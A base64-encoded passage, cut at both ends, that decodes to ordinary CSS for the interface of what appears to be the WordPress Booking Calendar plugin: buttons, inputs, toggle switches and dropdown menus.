l9kYW5nZXItZGlzYWJsZWQsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2J1dHRvbl9kYW5nZXIuZGlzYWJsZWQsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2J1dHRvbl9kYW5nZXI6ZGlzYWJsZWQsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2J1dHRvbl9kYW5nZXJbZGlzYWJsZWRdIHtcclxuICBjb2xvcjogI2E3YWFhZCFpbXBvcnRhbnQ7XHJcbiAgYmFja2dyb3VuZDogI2Y2ZjdmNyFpbXBvcnRhbnQ7XHJcbiAgYm9yZGVyLWNvbG9yOiAjZGNkY2RlIWltcG9ydGFudDtcclxuICBib3gtc2hhZG93OiBub25lIWltcG9ydGFudDtcclxuICB0ZXh0LXNoYWRvdzogbm9uZSFpbXBvcnRhbnQ7XHJcbiAgY3Vyc29yOiBkZWZhdWx0XHJcbn1cclxuQG1lZGlhIChtYXgtd2lkdGg6NzgycHgpIHtcclxuICAudWlfZWxlbWVudCAuaW4tYnV0dG9uLXRleHQge1xyXG4gICAgZGlzcGxheTogbm9uZVxyXG4gIH1cclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV90ZXh0IHtcclxuICBib3JkZXI6IDFweCBzb2xpZCAjZDZkNmQ2O1xyXG4gIC1tcy1mbGV4OiAxIDEgMTIwcHg7XHJcbiAgZmxleDogMSAxIDEyMHB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfdGV4dC5mb2N1cyxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfdGV4dDpmb2N1cyB7XHJcbiAgYm9yZGVyLWNvbG9yOiAjZDhkOGQ4O1xyXG4gIGJveC1zaGFkb3c6IDAgMCAwIDFweCAjMjI3MWIxO1xyXG4gIGJveC1zaGFkb3c6IDAgMCAwIDAgIzRmOTRkNCwwIDAgMXB4IDFweCByZ2JhKDc5LDE0OCwyMTIsLjgpO1xyXG4gIHotaW5kZXg6IDE7XHJcbiAgb3V0bGluZTogdHJhbnNwYXJlbnQgc29saWQgMnB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfc2VsZWN0IHtcclxuICBib3JkZXI6IDFweCBzb2xpZCAjZDZkNmQ2O1xyXG4gIC1tcy1mbGV4OiAxIDEgYXV0bztcclxuICBmbGV4OiAxIDEgYXV0b1xyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX3NlbGVjdC5mb2N1cyxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfc2VsZWN0OmZvY3VzIHtcclxuICBib3JkZXItY29sb3I6ICNkOGQ4ZDg7XHJcbiAgYm94LXNoYWRvdzogMCAwIDAgMXB4ICMyMjcxYjE7XHJcbiAgYm94LXNoYWRvdzogMCAwIDAgMCAjNGY5NGQ0LDAgMCAxcHggMXB4IHJnYmEoNzksMTQ4LDIxMiwuOCk7XHJcbiAgei1pbmRleDogMTtcclxuICBvdXRsaW5lOiB0cmFuc3BhcmVudCBzb2xpZCAycHhcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9jaGVja2JveCxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfcmFkaW8ge1xyXG4gIGJvcmRlcjogMXB4IHNvbGlkICNiY2JjYmM7XHJcbiAgYm9yZGVyLXJhZGl1czogNHB4O1xyXG4gIGJhY2tncm91bmQ6ICNmZmY7XHJcbiAgY29sb3I6ICM1MDU3NWU7XHJcbiAgY2xlYXI6IG5vbmU7XHJcbiAgY3Vyc29yOiBwb2ludGVyO1xyXG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcclxuICBsaW5lLWhlaWdodDogMCFpbXBvcnRhbnQ7XHJcbiAgaGVpZ2h0OiAxcmVtIWltcG9ydGFudDtcclxuICBtYXJnaW46IDA7XHJcbiAgb3V0bGluZTogMDtcclxuICBwYWRkaW5nOiAwIWltcG9ydGFudDtcclxuICB0ZXh0LWFsaWduOiBjZW50ZXI7XHJcbiAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcclxuICB3aWR0aDogMXJlbTtcclxuICBtaW4td2lkdGg6IDFyZW07XHJcbiAgLXdlYmtpdC1hcHBlYXJhbmNlOiBub25lO1xyXG4gIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLC4xKTtcclxuICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgLjA1cyBlYXNlLWluLW91dDtcclxuICAtbXMtZmxleC1pdGVtLWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24tc2VsZjogY2VudGVyXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfcmFkaW8ge1xyXG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcclxuICBtYXJnaW4tcmlnaHQ6IC4yNXJlbTtcclxuICBsaW5lLWhlaWdodDogLjcxNDI4NTcxXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfY2hlY2tib3guZm9jdXMsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2NoZWNrYm94OmZvY3VzLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9yYWRpby5mb2N1cyxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfcmFkaW86Zm9jdXMge1xyXG4gIGJvcmRlci1jb2xvcjogI2Q4ZDhkODtcclxuICBib3gtc2hhZG93OiAwIDAgMCAxcHggIzIyNzFiMTtcclxuICBib3gtc2hhZG93OiAwIDAgMCAwICM0Zjk0ZDQsMCAwIDFweCAxcHggcmdiYSg3OSwxNDgsMjEyLC44KTtcclxuICB6LWluZGV4OiAxO1xyXG4gIG91dGxpbmU6IHRyYW5zcGFyZW50IHNvbGlkIDJweCFpbXBvcnRhbnRcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9jaGVja2JveCArIC53cGJjX3VpX2NvbnRyb2xfbGFiZWwsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX3JhZGlvICsgLndwYmNfdWlfY29udHJvbF9sYWJlbCB7XHJcbiAgcGFkZGluZy1sZWZ0OiA1cHg7XHJcbiAgcGFkZGluZy1yaWdodDogNXB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfY29udHJvbC53cGJjX3VpX2J1dHRvbiAud3BiY191aV9jaGVja2JveCArIC53cGJjX3VpX2NvbnRyb2xfbGFiZWwsXHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2NvbnRyb2wud3BiY191aV9idXR0b24gLndwYmNfdWlfcmFkaW8gKyAud3BiY191aV9jb250cm9sX2xhYmVsIHtcclxuICBtYXJnaW46IDBcclxufVxyXG5AbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjc4MnB4KSB7XHJcbiAgLnVpX2VsZW1lbnQgLndwYmNfdWlfY2hlY2tib3gsXHJcbiAgLnVpX2VsZW1lbnQgLndwYmNfdWlfcmFkaW8ge1xyXG4gICAgaGVpZ2h0OiAxLjU2MjVyZW0haW1wb3J0YW50O1xyXG4gICAgd2lkdGg6IDEuNTYyNXJlbVxyXG4gIH1cclxufVxyXG4ud3BiY191aV9fdG9nZ2xlIHtcclxuICAtbXMtZmxleC1hbGlnbjogc3RhcnQ7XHJcbiAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICBnYXA6IDEwcHhcclxufVxyXG4ud3BiY191aV9fdG9nZ2xlIGlucHV0W3R5cGU9Y2hlY2tib3hdIHtcclxuICBkaXNwbGF5OiBub25lO1xyXG4gIGhlaWdodDogMDtcclxuICB3aWR0aDogMFxyXG59XHJcbi53cGJjX3VpX190b2dnbGUgaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsLndwYmNfdWlfX3RvZ2dsZV9pY29uIHtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDM2YWFiXHJcbn1cclxuLndwYmNfdWlfX3RvZ2dsZSBpbnB1dFt0eXBlPWNoZWNrYm94XTpjaGVja2VkICsgbGFiZWwud3BiY191aV9fdG9nZ2xlX2ljb246YWZ0ZXIge1xyXG4gIGxlZnQ6IGNhbGMoMTAwJSAtIDEzcHggLSAycHgpXHJcbn1cclxuLndwYmNfdWlfX3RvZ2dsZSBsYWJlbCxcclxuLndwYmNfdWlfX3RvZ2dsZSBzcGFuIHtcclxuICAtbXMtZmxleC1hbGlnbjogc3RhcnQ7XHJcbiAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICBnYXA6IDEwcHg7XHJcbiAgbWFyZ2luOiAwO1xyXG4gIHZlcnRpY2FsLWFsaWduOiB1bnNldFxyXG59XHJcbi53cGJjX3VpX190b2dnbGUgLndwYmNfdWlfX3RvZ2dsZV9sYWJlbDpob3ZlciB7XHJcbiAgY3Vyc29yOiBwb2ludGVyXHJcbn1cclxuLndwYmNfdWlfX3RvZ2dsZSAud3BiY191aV9fdG9nZ2xlX3N0YXR1cyB7XHJcbiAgY29sb3I6ICM4NjkxOWU7XHJcbiAgZm9udC1zaXplOiAxMnB4O1xyXG4gIGxpbmUtaGVpZ2h0OiAxNHB4O1xyXG4gIG1hcmdpbjogMnB4IDVweFxyXG59XHJcbi53cGJjX3VpX190b2dnbGUgLndwYmNfdWlfX3RvZ2dsZV9pY29uIHtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiAjYmJiO1xyXG4gIGJvcmRlci1yYWRpdXM6IDguNXB4O1xyXG4gIGN1cnNvcjogcG9pbnRlcjtcclxuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XHJcbiAgaGVpZ2h0OiAxN3B4O1xyXG4gIG1hcmdpbjogMCAxcHg7XHJcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xyXG4gIHRleHQtaW5kZW50OiAtOTk5OXB4O1xyXG4gIHdpZHRoOiAyN3B4O1xyXG4gIC1tcy1mbGV4OiAwIDAgYXV0bztcclxuICBmbGV4OiAwIDAgYXV0b1xyXG59XHJcbi53cGJjX3VpX190b2dnbGUgLndwYmNfdWlfX3RvZ2dsZV9pY29uOmFmdGVyIHtcclxuICBiYWNrZ3JvdW5kOiAjZmZmO1xyXG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcclxuICBjb250ZW50OiBcIlwiO1xyXG4gIGhlaWdodDogMTNweDtcclxuICBsZWZ0OiAycHg7XHJcbiAgcG9zaXRpb246IGFic29sdXRlO1xyXG4gIHRvcDogMnB4O1xyXG4gIHdpZHRoOiAxM3B4O1xyXG4gIHRyYW5zaXRpb24tcHJvcGVydHk6IGFsbDtcclxuICB0cmFuc2l0aW9uLWR1cmF0aW9uOiAuMjVzO1xyXG4gIHRyYW5zaXRpb24tdGltaW5nLWZ1bmN0aW9uOiBlYXNlLW91dFxyXG59XHJcbi53cGJjX3VpX190b2dnbGUgLndwYmMtaGVscC10b29sdGlwIHtcclxuICBtYXJnaW46IDAhaW1wb3J0YW50XHJcbn1cclxuLndwYmNfdWlfX3RvZ2dsZTpob3ZlciBpbnB1dDpjaGVja2VkICsgbGFiZWwud3BiY191aV9fdG9nZ2xlX2ljb24ge1xyXG4gIGJhY2tncm91bmQtY29sb3I6ICMyMTVkOGZcclxufVxyXG4ud3BiY191aV9fdG9nZ2xlOmhvdmVyIC53cGJjX3VpX190b2dnbGVfaWNvbiB7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogIzc3N1xyXG59XHJcbi53cGJjX3VpX190b2dnbGUgaW5wdXRbdHlwZT1jaGVja2JveF06ZGlzYWJsZWQgKyBsYWJlbC53cGJjX3VpX190b2dnbGVfaWNvbixcclxuLndwYmNfdWlfX3RvZ2dsZTpob3ZlciBpbnB1dDpkaXNhYmxlZCArIGxhYmVsLndwYmNfdWlfX3RvZ2dsZV9pY29uIHtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkO1xyXG4gIGN1cnNvcjogbm90LWFsbG93ZWRcclxufVxyXG4ud3BiY191aV9fdG9nZ2xlIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQ6ZGlzYWJsZWQgKyBsYWJlbC53cGJjX3VpX190b2dnbGVfaWNvbiB7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogI2M5ZGJlNlxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX190b2dnbGUge1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlclxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX3NtYWxsIC51aV9ncm91cCAudWlfZWxlbWVudCAud3BiY191aV9fdG9nZ2xlID4gKiB7XHJcbiAgbWFyZ2luOiAwXHJcbn1cclxuLmZvcm0tdGFibGUgdGQgZmllbGRzZXQgLndwYmNfdWlfX3RvZ2dsZSB7XHJcbiAgbWFyZ2luOiA1cHggMDtcclxuICBkaXNwbGF5OiAtbXMtaW5saW5lLWZsZXhib3g7XHJcbiAgZGlzcGxheTogaW5saW5lLWZsZXhcclxufVxyXG4uZm9ybS10YWJsZSB0ZCBmaWVsZHNldCAud3BiY191aV9fdG9nZ2xlIGlucHV0W3R5cGU9Y2hlY2tib3hdICsgbGFiZWwud3BiY191aV9fdG9nZ2xlX2ljb24ge1xyXG4gIG1hcmdpbjogM3B4IDAgLjVlbSFpbXBvcnRhbnRcclxufVxyXG4uZm9ybS10YWJsZSB0ZCBmaWVsZHNldCAud3BiY191aV9fdG9nZ2xlIGxhYmVsLFxyXG4uZm9ybS10YWJsZSB0ZCBmaWVsZHNldCAud3BiY191aV9fdG9nZ2xlIGxhYmVsICoge1xyXG4gIGxpbmUtaGVpZ2h0OiAxLjY7XHJcbiAgbWFyZ2luOiAwIDFweCFpbXBvcnRhbnRcclxufVxyXG4ud3BiY191aV9fdG9nZ2xlIGlucHV0W3R5cGU9Y2hlY2tib3hdLndwYmNfdmlzaWJsZV9idXRfb3V0X3NjcmVlbiB7XHJcbiAgZGlzcGxheTogYmxvY2s7XHJcbiAgdmlzaWJpbGl0eTogaGlkZGVuO1xyXG4gIHBvc2l0aW9uOiBhYnNvbHV0ZVxyXG59XHJcbi53cGJjX3RvZ2dsZV9kYW5nZXIud3BiY191aV9fdG9nZ2xlIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQrbGFiZWwud3BiY191aV9fdG9nZ2xlX2ljb24sXHJcbi53cGJjX3RvZ2dsZV9kYW5nZXIud3BiY191aV9fdG9nZ2xlOmhvdmVyIGlucHV0OmNoZWNrZWQrbGFiZWwud3BiY191aV9fdG9nZ2xlX2ljb24ge1xyXG4gIGJhY2tncm91bmQtY29sb3I6ICNkNjM2MzhcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9hZGRvbiB7XHJcbiAgLW1zLWZsZXg6IDAgMSBhdXRvO1xyXG4gIGZsZXg6IDAgMSBhdXRvO1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdHJldGNoO1xyXG4gIGp1c3RpZnktY29udGVudDogc3RyZXRjaDtcclxuICAtbXMtZmxleC1hbGlnbjogY2VudGVyO1xyXG4gIGFsaWduLWl0ZW1zOiBjZW50ZXJcclxufVxyXG4udWlfZWxlbWVudCBsYWJlbC53cGJjX3VpX2NvbnRyb2xfbGFiZWwge1xyXG4gIC1tcy1mbGV4OiAwIDEgYXV0bztcclxuICBmbGV4OiAwIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICBwYWRkaW5nOiAwIDVweCAxcHggMFxyXG59XHJcbi51aV9lbGVtZW50IGxhYmVsLndwYmNfdWlfY29udHJvbF9sYWJlbCArIC53cGJjX3VpX2NvbnRyb2w6Zmlyc3Qtb2YtdHlwZSB7XHJcbiAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogM3B4IWltcG9ydGFudDtcclxuICBib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAzcHghaW1wb3J0YW50XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfc2VwYXJ0b3Ige1xyXG4gIC1tcy1mbGV4OiAwIDEgYXV0bztcclxuICBmbGV4OiAwIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RyZXRjaDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IHN0cmV0Y2g7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gIGJvcmRlci1yaWdodDogMXB4IHNvbGlkICNjY2NcclxufVxyXG4udWlfZWxlbWVudCAud3BiY19vcHRpb25fc2VwYXJhdG9yLFxyXG4udWlfZWxlbWVudCAud3BiY19vcHRpb25fc3RlcCB7XHJcbiAgcGFkZGluZy1yaWdodDogMTBweDtcclxuICBwYWRkaW5nLWxlZnQ6IDEwcHg7XHJcbiAgZm9udC13ZWlnaHQ6IDYwMDtcclxuICBib3JkZXItYm90dG9tOiA0cHggc29saWQgdHJhbnNwYXJlbnQ7XHJcbiAgcGFkZGluZy1ib3R0b206IDlweDtcclxuICBtYXJnaW4tYm90dG9tOiAtOXB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfcGFzc2VkX3N0ZXAge1xyXG4gIGJvcmRlci1ib3R0b206IDRweCBzb2xpZCAjZDBkM2MwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfc2VsZWN0ZWRfc3RlcCB7XHJcbiAgYm9yZGVyLWJvdHRvbTogNHB4IHNvbGlkICNhYWM3MWVcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93bl9fb3V0c2lkZV9sYWJlbCB7XHJcbiAgLW1zLWZsZXg6IDAgMSBhdXRvO1xyXG4gIGZsZXg6IDAgMSBhdXRvO1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IG5vd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyBub3dyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICBwYWRkaW5nOiAwIDEwcHggMXB4IDBcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biB7XHJcbiAgLW1zLWZsZXg6IDAgMSBhdXRvO1xyXG4gIGZsZXg6IDAgMSBhdXRvO1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IG5vd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyBub3dyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBzdHJldGNoO1xyXG4gIGFsaWduLWl0ZW1zOiBzdHJldGNoO1xyXG4gIHBvc2l0aW9uOiByZWxhdGl2ZVxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duICoge1xyXG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3hcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAud3BiY191aV9kcm9wZG93bl9faW5zaWRlX2xhYmVsIHtcclxuICBmb250LXdlaWdodDogNjAwO1xyXG4gIG1hcmdpbjogMDtcclxuICBwYWRkaW5nOiAwIC41ZW0gMCAwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLndwYmNfdWlfZHJvcGRvd25fX2luc2lkZV9jYXJldCB7XHJcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xyXG4gIHdpZHRoOiAwO1xyXG4gIGhlaWdodDogMDtcclxuICBtYXJnaW4tbGVmdDogN3B4O1xyXG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XHJcbiAgYm9yZGVyLXRvcDogNHB4IGRhc2hlZDtcclxuICBib3JkZXItcmlnaHQ6IDRweCBzb2xpZCB0cmFuc3BhcmVudDtcclxuICBib3JkZXItbGVmdDogNHB4IHNvbGlkIHRyYW5zcGFyZW50XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd246bGFzdC1jaGlsZCA+IC53cGJjX3VpX2J1dHRvbjpsYXN0LW9mLXR5cGUge1xyXG4gIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAzcHg7XHJcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDNweFxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duOm5vdCg6Zmlyc3QtY2hpbGQpID4gLndwYmNfdWlfYnV0dG9uOmZpcnN0LWNoaWxkIHtcclxuICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xyXG4gIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDBcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93bjpub3QoOmxhc3QtY2hpbGQpID4gLndwYmNfdWlfYnV0dG9uOmxhc3QtY2hpbGQge1xyXG4gIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xyXG4gIGJvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOiAwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd25fX291dHNpZGVfbGFiZWwgKyAud3BiY191aV9kcm9wZG93biA+IC53cGJjX3VpX2J1dHRvbjpmaXJzdC1jaGlsZCB7XHJcbiAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogM3B4O1xyXG4gIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDNweFxyXG59XHJcbi53cGJjX3VpX2Ryb3Bkb3duIC51aV9kcm9wZG93bl9tZW51IGxpLnVpX2NvbXBsZXhfb3B0aW9uX2VsZW1lbnQge1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdGFydDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gIG1hcmdpbjogMDtcclxuICBwYWRkaW5nOiAwIDE1cHhcclxufVxyXG4ud3BiY191aV9kcm9wZG93biB1bC51aV9kcm9wZG93bl9tZW51IGxpLnVpX2NvbXBsZXhfb3B0aW9uX2VsZW1lbnQgLnVpX2VsZW1lbnQge1xyXG4gIC1tcy1mbGV4OiAwIDEgNTAlO1xyXG4gIGZsZXg6IDAgMSA1MCU7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgbm93cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IG5vd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdGFydDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gIG1hcmdpbjogMDtcclxuICBwYWRkaW5nOiA0cHggMFxyXG59XHJcbi53cGJjX3VpX2Ryb3Bkb3duIHVsLnVpX2Ryb3Bkb3duX21lbnUgbGkudWlfY29tcGxleF9vcHRpb25fZWxlbWVudCAudWlfZWxlbWVudCA+ICoge1xyXG4gIC1tcy1mbGV4OiAwIDEgYXV0bztcclxuICBmbGV4OiAwIDEgYXV0bztcclxuICBtYXJnaW46IDA7XHJcbiAgaGVpZ2h0OiBhdXRvO1xyXG4gIG1heC13aWR0aDogMjEwcHhcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSB7XHJcbiAgZGlzcGxheTogbm9uZTtcclxuICBwb3NpdGlvbjogYWJzb2x1dGU7XHJcbiAgdG9wOiAxMDAlO1xyXG4gIGxlZnQ6IDA7XHJcbiAgei1pbmRleDogMTAwMDtcclxuICBmbG9hdDogbGVmdDtcclxuICBtaW4td2lkdGg6IDE2MHB4O1xyXG4gIHBhZGRpbmc6IDVweCAwO1xyXG4gIG1hcmdpbjogMDtcclxuICBsaXN0LXN0eWxlOiBub25lO1xyXG4gIHRleHQtYWxpZ246IGxlZnQ7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcclxuICBib3gtc2hhZG93OiAwIDZweCAxMnB4IHJnYmEoMCwwLDAsLjE3NSk7XHJcbiAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLDAsMCwuMTUpO1xyXG4gIGJvcmRlci1yYWRpdXM6IDAgMCAzcHggM3B4O1xyXG4gIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3hcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudS1yaWdodCB7XHJcbiAgbGVmdDogYXV0bztcclxuICByaWdodDogMFxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duIHVsLnVpX2Ryb3Bkb3duX21lbnUgKiB7XHJcbiAgZm9udC1zaXplOiAxM3B4XHJcbn1cclxuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo3ODJweCkge1xyXG4gIC51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duIHVsLnVpX2Ryb3Bkb3duX21lbnUgKiB7XHJcbiAgICBmb250LXNpemU6IDE0cHg7XHJcbiAgICBsaW5lLWhlaWdodDogMmVtXHJcbiAgfVxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duLm9wZW4gPiAudWlfZHJvcGRvd25fbWVudSB7XHJcbiAgZGlzcGxheTogYmxvY2tcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudS5wdWxsLXJpZ2h0LFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudS51aV9kcm9wZG93bl9tZW51X3JpZ2h0IHtcclxuICBsZWZ0OiBhdXRvO1xyXG4gIHJpZ2h0OiAwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUudWlfZHJvcGRvd25fbWVudV9sZWZ0IHtcclxuICBsZWZ0OiAwO1xyXG4gIHJpZ2h0OiBhdXRvXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgaHIge1xyXG4gIGhlaWdodDogMXB4O1xyXG4gIG1hcmdpbjogNXB4IDA7XHJcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcclxuICBiYWNrZ3JvdW5kOiAwIDA7XHJcbiAgYm9yZGVyOiAwO1xyXG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZWVlXHJcbn1cclxuLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgbGkuZHJvcGRvd24taGVhZGVyIHtcclxuICBwYWRkaW5nOiAwIDE1cHg7XHJcbiAgY29sb3I6ICM5OTk7XHJcbiAgZm9udC1zaXplOiAuOGVtO1xyXG4gIGZvbnQtc3R5bGU6IGl0YWxpYztcclxuICBmb250LXdlaWdodDogNjAwXHJcbn1cclxuLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgbGkge1xyXG4gIHBhZGRpbmc6IDA7XHJcbiAgbWFyZ2luOiAwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgYSB7XHJcbiAgY2xlYXI6IG